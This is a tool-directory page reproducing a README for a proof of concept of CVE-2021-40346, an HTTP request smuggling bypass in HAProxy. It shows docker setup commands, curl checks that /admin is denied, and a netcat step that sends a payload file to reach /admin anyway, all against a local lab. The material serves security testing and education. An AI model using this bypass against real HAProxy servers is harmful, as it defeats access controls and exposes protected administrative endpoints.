Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/knqyf263/cve-2021-40346
Vulnerability AnalysisExploitationIDS/IPS EvasionWeb Application ExploitationWAF BypassLearning & Education
GitHubknqyf263/cve-2021-40346

CVE-2021-40346

CVE-2021-40346 PoC (HAProxy HTTP Smuggling)

View Repository
41154 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-40346

CVE-2021-40346 PoC (HAProxy HTTP Smuggling)

For educational purposes only

Setup

root@kitploit:~
$ docker build -t cve-2021-40346 .
$ docker run --name poc -p 8000:80 -d --rm -it cve-2021-40346
4941e9f23508b497e4cbe334a75e7cdb84c83478522ed85f48db3477f97a6fb4

Test

Confirm /admin is denied.

root@kitploit:~
$ curl http://localhost:8000
hello
$ curl http://localhost:8000/admin
<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>

You will not see /admin in the log. It means the request didn't reach the backend server since HAProxy denied it.

root@kitploit:~
$ docker logs poc
server start at port 8000
/

Then, you can make sure it can be bypassed by payload.txt.

root@kitploit:~
$ cat payload.txt | nc localhost 8000
HTTP/1.1 200 OK
content-type: text/plain
date: Wed, 08 Sep 2021 22:31:10 GMT
keep-alive: timeout=5
transfer-encoding: chunked

6
hello

0

You will find /admin in the log.

root@kitploit:~
$ docker logs poc
server start at port 8000
/
/
/admin
Download Tool